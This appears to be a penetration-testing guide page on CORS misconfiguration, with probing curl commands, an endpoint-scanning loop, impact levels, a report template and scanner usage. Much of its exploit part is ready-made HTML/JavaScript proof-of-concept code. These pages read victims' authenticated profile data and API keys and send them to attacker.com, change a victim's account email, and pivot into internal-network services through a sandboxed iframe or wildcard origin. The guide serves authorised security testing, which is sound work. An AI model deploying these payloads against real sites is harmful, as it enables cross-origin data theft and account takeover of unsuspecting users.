Skip to main content
CWECWE-942, CWE-346
WSTGWSTG-CLNT-07
MITRE ATT&CKT1557
CVSS Range4.3-8.6
Toolscorscanner
Difficultybasic

CORS Misconfiguration

Cross-Origin Resource Sharing (CORS) misconfigurations occur when a server's access control policy is too permissive, allowing attacker-controlled websites to make authenticated cross-origin requests and read responses. This turns the victim's browser into a proxy, letting an attacker steal sensitive data, perform state-changing actions, or exfiltrate tokens by simply luring the victim to a malicious page.

Quick Reference

AspectDetails
Attack typeCross-origin data theft via browser
TargetAPIs and endpoints returning sensitive data with overly permissive CORS headers
TechniqueExploit Access-Control-Allow-Origin reflection, null origin, wildcard with credentials
Key CWECWE-942 (Permissive CORS Policy), CWE-346 (Origin Validation Error)

CORS headers to look for:

HeaderDangerous valueImpact
Access-Control-Allow-OriginReflects request OriginAttacker site can read responses
Access-Control-Allow-Credentialstrue (with reflected origin)Cookies/auth sent cross-origin
Access-Control-Allow-OriginnullSandboxed iframes and data: URIs can read responses
Access-Control-Allow-Origin* with credentialsBrowser blocks this, but check for inconsistencies

Detect CORS Misconfigurations

Probe Origin Reflection

Send requests with various Origin headers and check if the server reflects them in Access-Control-Allow-Origin:

# Test 1: Arbitrary origin reflection
curl -sI "https://TARGET/api/user" \
-H "Origin: https://attacker.com" | grep -i "access-control"

# Test 2: Null origin
curl -sI "https://TARGET/api/user" \
-H "Origin: null" | grep -i "access-control"

# Test 3: Subdomain matching (check for regex bugs)
curl -sI "https://TARGET/api/user" \
-H "Origin: https://evil-TARGET" | grep -i "access-control"

# Test 4: Subdomain of target
curl -sI "https://TARGET/api/user" \
-H "Origin: https://sub.TARGET" | grep -i "access-control"

# Test 5: Prefix match bypass
curl -sI "https://TARGET/api/user" \
-H "Origin: https://TARGET.attacker.com" | grep -i "access-control"

# Test 6: Suffix match bypass
curl -sI "https://TARGET/api/user" \
-H "Origin: https://attackerTARGET" | grep -i "access-control"

What to look for: If the response includes:

Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

...the endpoint is exploitable. Both headers together mean the attacker's site can make authenticated requests and read responses.

Systematic Endpoint Scanning

# Scan multiple endpoints with an attacker origin
ENDPOINTS=("/api/user" "/api/account" "/api/settings" "/api/billing" "/api/keys")
for ep in "${ENDPOINTS[@]}"; do
result=$(curl -sI "https://TARGET${ep}" \
-H "Origin: https://attacker.com" 2>/dev/null | \
grep -i "access-control-allow-origin")
if [ -n "$result" ]; then
echo "${ep}: ${result}"
fi
done

Check Preflight Behavior

For non-simple requests (custom headers, PUT/DELETE methods), browsers send a preflight OPTIONS request:

# Preflight probe
curl -sI -X OPTIONS "https://TARGET/api/data" \
-H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization" | grep -i "access-control"

If Access-Control-Allow-Methods includes PUT/DELETE and the origin is reflected, non-simple requests are also exploitable.

Exploit: Arbitrary Origin Reflection

The most common CORS misconfiguration. The server reflects whatever Origin header is sent in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true.

Steal User Data

Host this on https://attacker.com:

<html>
<body>
<script>
// Victim visits this page while authenticated to TARGET
fetch('https://TARGET/api/user/profile', {
credentials: 'include' // Send victim's cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate sensitive data to attacker server
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
</body>
</html>

Steal API Keys / Tokens

<script>
// Extract API keys from account settings
fetch('https://TARGET/api/account/api-keys', {
credentials: 'include'
})
.then(r => r.json())
.then(keys => {
navigator.sendBeacon('https://attacker.com/exfil', JSON.stringify(keys));
});
</script>

Perform State-Changing Actions

<script>
// Change victim's email (account takeover setup)
fetch('https://TARGET/api/user/settings', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
})
.then(r => r.json())
.then(result => {
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({action: 'email_changed', result})
});
});
</script>

Exploit: Null Origin

Some servers whitelist the null origin (common in development configurations). The null origin is sent by:

  • Sandboxed iframes (<iframe sandbox>)
  • Local file:// pages
  • data: URI schemes
  • Cross-origin redirects in some browsers
<html>
<body>
<!-- Sandboxed iframe sends Origin: null -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://TARGET/api/user', {credentials: 'include'})
.then(r => r.json())
.then(data => {
// Post data to parent or exfiltrate directly
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
"></iframe>
</body>
</html>

Exploit: Subdomain Origin Trust

If the server trusts all subdomains (e.g., *.target.com), find any XSS on any subdomain to escalate:

# 1. Find an XSS on any subdomain
# blog.target.com, staging.target.com, dev.target.com, etc.

# 2. Use XSS to make cross-origin request from trusted subdomain
# Inject via XSS on blog.target.com:
<script>
fetch('https://api.target.com/api/user', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log', {method:'POST', body:JSON.stringify(d)}));
</script>

Regex Bypass in Subdomain Validation

Servers often use regex to validate origins. Common mistakes:

# Intended: *.target.com
# Regex: /target\.com$/
# Bypass: https://attackertarget.com (suffix match)

curl -sI "https://TARGET/api/user" \
-H "Origin: https://attackertarget.com" | grep -i "access-control"

# Intended: https://*.target.com
# Regex: /^https:\/\/.*target\.com$/
# Bypass: https://evil.com/.target.com (path injection in some parsers)

# Regex: /target\.com/ (no anchoring)
# Bypass: https://target.com.attacker.com

curl -sI "https://TARGET/api/user" \
-H "Origin: https://target.com.attacker.com" | grep -i "access-control"

Exploit: Wildcard with Internal Network

If the server returns Access-Control-Allow-Origin: * without credentials, it's usually not directly exploitable (browsers won't send cookies). But in internal networks:

<script>
// No cookies needed -- internal services often have no auth
// Victim's browser is on the internal network
fetch('http://192.168.1.100:8080/api/internal/config')
.then(r => r.json())
.then(data => {
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>

This turns CORS wildcard on internal services into an information disclosure via the victim's browser as a pivot point.

Exploit: Vary Header Missing

If the server does not include Vary: Origin in responses, CDNs or browser caches may cache a CORS response for one origin and serve it to another:

# Check for missing Vary header
curl -sI "https://TARGET/api/data" \
-H "Origin: https://attacker.com" | grep -i "vary"

# If Vary: Origin is missing and ACAO is reflected:
# 1. Attacker makes request → response cached with ACAO: https://attacker.com
# 2. Legitimate user gets cached response → browser sees wrong ACAO
# Impact varies by cache behavior

Testing Methodology

  1. Discover API endpoints -- Crawl the application, check JavaScript source for fetch/XHR calls, review API documentation.
  2. Test each endpoint with Origin headers -- Arbitrary origin, null, subdomain variations, prefix/suffix bypasses.
  3. Check for credentials support -- Look for Access-Control-Allow-Credentials: true alongside reflected origins.
  4. Test preflight responses -- OPTIONS requests with custom methods and headers.
  5. Check Vary header -- Missing Vary: Origin enables cache-based attacks.
  6. Verify exploitability -- Build a PoC HTML page, serve it from a different origin, confirm data exfiltration works with a real browser session.

Important: CORS issues are only exploitable if the endpoint returns sensitive data or allows state-changing actions. An endpoint returning public data with a reflected origin is informational, not a vulnerability.

Impact Assessment

Level 1 -- Permissive Headers, No Sensitive Data (Informational): Origin is reflected but the endpoint returns only public data or Access-Control-Allow-Credentials is not set. No exploitable impact.

Level 2 -- Sensitive Data Exposure (High severity): Attacker-controlled origin can read authenticated responses containing PII, account details, or internal data. Proof: PoC page on attacker domain successfully reads and exfiltrates user profile data.

Level 3 -- Account Takeover Chain (Critical severity): CORS misconfiguration enables extraction of API keys, session tokens, or CSRF tokens, leading to full account compromise. Proof: extracted API key used to demonstrate account access from a different session.

Level 4 -- Internal Network Pivot (Critical severity): Wildcard CORS on internal services combined with a victim on the internal network allows reading internal service data via the victim's browser. Proof: internal configuration/credentials exfiltrated through victim's browser.

Documentation Template

## CORS Misconfiguration -- [Origin Reflection / Null Origin / Subdomain Trust]

**URL:** [vulnerable endpoint]
**Misconfiguration:** [what ACAO/ACAC values are returned for what Origin]

### Probe Request/Response

[curl command and response headers showing the CORS misconfiguration]

### Exploitation PoC

[HTML page hosted on attacker domain that demonstrates data theft]

### Exfiltrated Data

[Sample of sensitive data retrieved cross-origin]

Tools

ToolPurposeWhen to use
curlManual CORS header probingAlways -- test each endpoint with various Origin headers
Burp SuiteIntercept and modify Origin headers, scan for CORS issuesSystematic testing across all endpoints
CORScannerAutomated CORS misconfiguration scannerFirst-pass scan of all endpoints for common misconfigurations
Browser DevToolsVerify real browser CORS behaviorConfirm that the PoC works in an actual browser context

CORScanner workflow:

# Scan a single target
python3 cors_scan.py -u https://TARGET/

# Scan with custom headers (authenticated scan)
python3 cors_scan.py -u https://TARGET/ -H "Cookie: session=xxx"

# Scan multiple URLs from file
python3 cors_scan.py -i urls.txt -t 10

Prioritization

Test these first (highest real-world exploitability)

  1. Origin reflection with credentials -- The most dangerous CORS misconfiguration. If the server reflects any Origin header in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, any attacker site can read authenticated responses. Test with Origin: https://evil.com.
  2. Null origin acceptance -- Access-Control-Allow-Origin: null with credentials allows exploitation from sandboxed iframes and data: URIs. Common misconfiguration when developers add null to an allowlist for local development.
  3. Subdomain wildcard matching -- If the server accepts any subdomain (*.target.com), a subdomain takeover or XSS on any subdomain enables cross-origin data theft from the main application.

Test these if time permits (lower exploitability)

  1. Regex bypass in origin validation -- Test evil-target.com, target.com.evil.com, and targetcom.evil.com to exploit weak regex patterns in origin validation.
  2. Pre-flight bypass on simple requests -- If CORS is only enforced on pre-flight (OPTIONS) requests, simple GET/POST requests with allowed Content-Types may bypass protection.
  3. Wildcard origin without credentials -- Access-Control-Allow-Origin: * without credentials is generally low risk but may expose public API data that should be restricted.

Skip if

  • Application does not return CORS headers on any endpoint
  • Application is a single-origin deployment with no cross-origin requirements

Note: Token-based authentication (Authorization header) prevents cookie-based credential theft, but CORS misconfigurations can still leak data from endpoints that return sensitive information based on network position or pre-authenticated context. Reduce priority rather than skip entirely.

Asset criticality

Prioritize endpoints returning sensitive data: user profile/PII endpoints > financial data endpoints > session/token endpoints > public data endpoints. CORS misconfiguration on endpoints that return authentication tokens or PII is Critical. On public data endpoints, it is typically Informational.